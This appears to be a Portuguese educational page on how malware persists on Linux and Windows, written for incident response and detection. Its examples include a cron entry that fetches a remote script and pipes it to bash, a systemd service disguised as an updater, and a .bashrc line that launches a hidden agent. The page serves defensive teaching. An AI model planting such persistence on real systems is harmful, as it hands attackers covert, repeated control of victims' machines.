Intermediário Sistema e Host
Persistência de Malware — cron, registry, serviços e startup
Persistência é a capacidade de um malware sobreviver a reinicializações do sistema. Após comprometer uma máquina, o atacante instala um mecanismo que reexecuta o payload automaticamente. Conhecer esses pontos é fundamental para a resposta a incidentes.
Linux — mecanismos comuns
Cron jobs maliciosos
# Locais de cron que um atacante pode modificar
crontab -l # cron do usuário atual
cat /etc/crontab # cron do sistema
ls /etc/cron.d/ # fragmentos de cron
ls /var/spool/cron/crontabs # crons por usuário
# Exemplo de entrada maliciosa:
*/5 * * * * root curl -s http://192.168.1.100/payload.sh | bash
Detecção: compare crons com baseline; monitore escrita em /var/spool/cron com auditd.
Systemd units persistentes
# Serviço malicioso instalado
cat /etc/systemd/system/updater.service
[Unit]
Description=System Updater
[Service]
ExecStart=/tmp/.hidden/agent
Restart=always
[Install]
WantedBy=multi-user.target
Verificar unidades recém-criadas:
find /etc/systemd/system/ -newer /etc/passwd -name "*.service"
systemctl list-units --type=service --state=running
~/.bashrc e ~/.profile
# Linha adicionada ao fim do .bashrc
echo "nohup /tmp/.cache/agent &>/dev/null &" >> ~/.bashrc
Revise arquivos de inicialização de shell regularmente.
Windows — mecanismos comuns
Registry Run Keys
As chaves mais exploradas para autorun:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
# Listar entradas de autorun
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
Scheduled Tasks
# Listar todas as tarefas
Get-ScheduledTask | Where-Object { $_.State -ne 'Disabled' } |
Select-Object TaskName, TaskPath, State
# Inspecionar tarefa suspeita
Export-ScheduledTask -TaskName "WindowsUpdate" | Out-String
Serviços Windows
# Serviços com binário em local incomum
Get-WmiObject Win32_Service |
Where-Object { $_.PathName -notlike "*System32*" -and $_.PathName -notlike "*Program Files*" } |
Select-Object Name, PathName, StartMode
Pasta Startup
Usuário: C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
Sistema: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\
Get-ChildItem "C:\Users\$env:USERNAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
Ferramentas de detecção
Linux:
- chkrootkit / rkhunter — detectar rootkits e modificações
- auditd — monitorar escrita em locais sensíveis
- ls -la /tmp /dev/shm — diretórios favoritos de malware
Windows:
- Autoruns (Sysinternals) — mostra TODOS os pontos de persistência
- Sysmon Event ID 13 — escrita em chaves de registro
- Event ID 7045 — novo serviço criado
Resposta ao incidente
- Isolei a máquina da rede
- Tirar snapshot / imagem de disco
- Identificar e documentar o mecanismo de persistência
- Remover o payload e o mecanismo
- Analisar o vetor de entrada original — senão o atacante volta
Nunca apenas remova o malware sem entender como ele entrou.